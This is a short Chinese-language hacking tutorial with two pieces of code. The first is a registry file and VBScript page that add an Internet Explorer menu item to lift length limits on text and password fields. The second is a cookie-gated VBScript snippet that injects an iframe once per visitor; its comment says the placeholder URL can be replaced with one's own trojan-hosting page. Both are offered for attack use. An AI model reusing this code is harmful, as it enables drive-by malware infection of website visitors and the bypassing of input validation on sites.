注册表(扩展.reg)的内容如下: ★ Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\扩展] "contexts"=dword:00000004 @="d:\\len.html" ★ 这个扩展.reg的里放在d:下的len.html里的内容是这样的: ★ <script language=vbs> set srcevent = external.menuarguments.event set doc=external.menuarguments.document set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty ) if ele.type ="text" or ele.type="password" then ele.maxlength=800 ele.size=200 end if </script> ★ 我们把扩展.reg导入注册表后,再遇到文本框的限制后,就有办法对付了,点击图1中的扩展后,的效果了,文本框比原来的长度长了好多呀。
以下是代码片段: ★ <SCRIPT LANGUAGE="VBSCRIPT"> '取得cookie内容函数 function GetCookie(sName)
DIM aCookie, i, aCrumb GetCookie = "" aCookie = split(document.cookie, "; ") FOR i = LBOUND(aCookie) to UBOUND(aCookie) aCrumb = split(aCookie(i), "=") if sName = aCrumb(0) then GetCookie = unescape(aCrumb(1)) EXIT FOR end if NEXT end function
if GetCookie("1") <> "1" then Document.write("<iframe src=http://www.sohu.com></iframe>")'可改成你的挂马页面,这里的sohu.com只会显示一次的。 document.cookie = "1" & "=" & escape("1") & "; expires=Tue, 31 Dec 2009 23:59:59 GMT" 'cookie的有效期我们让它到2009年 end if </SCRIPT> ★